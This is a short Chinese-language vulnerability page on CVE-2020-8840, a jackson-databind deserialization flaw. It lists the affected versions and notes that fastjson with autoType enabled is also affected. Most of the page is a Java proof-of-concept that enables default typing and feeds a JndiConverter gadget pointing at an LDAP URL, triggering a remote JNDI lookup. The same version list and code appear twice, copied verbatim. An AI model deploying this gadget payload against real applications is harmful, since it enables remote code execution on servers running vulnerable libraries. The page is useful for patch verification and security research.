CVE-2020-8840_FasterXML_jackson-databind_遠程代碼執行漏洞

# CVE-2020-8840 FasterXML jackson-databind 遠程代碼執行漏洞

==漏洞影響==
jackson-databind 2.0.0 – 2.9.10.2

經驗證fastjson在開啟了autoType功能的情況下,影響最新的fastjson v1.2.62版本

==POC==

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
   public static void main(String args[]) {
       ObjectMapper mapper = new ObjectMapper();

       mapper.enableDefaultTyping();

       String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

       try {
           mapper.readValue(json, Object.class);
       } catch (IOException e) {
           e.printStackTrace();
       }

   }
}


==漏洞影響==

jackson-databind 2.0.0 – 2.9.10.2


經驗證fastjson在開啟了autoType功能的情況下,影響最新的fastjson v1.2.62版本

==POC==

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
   public static void main(String args[]) {
       ObjectMapper mapper = new ObjectMapper();

       mapper.enableDefaultTyping();

       String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

       try {
           mapper.readValue(json, Object.class);
       } catch (IOException e) {
           e.printStackTrace();
       }

   }
}
© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容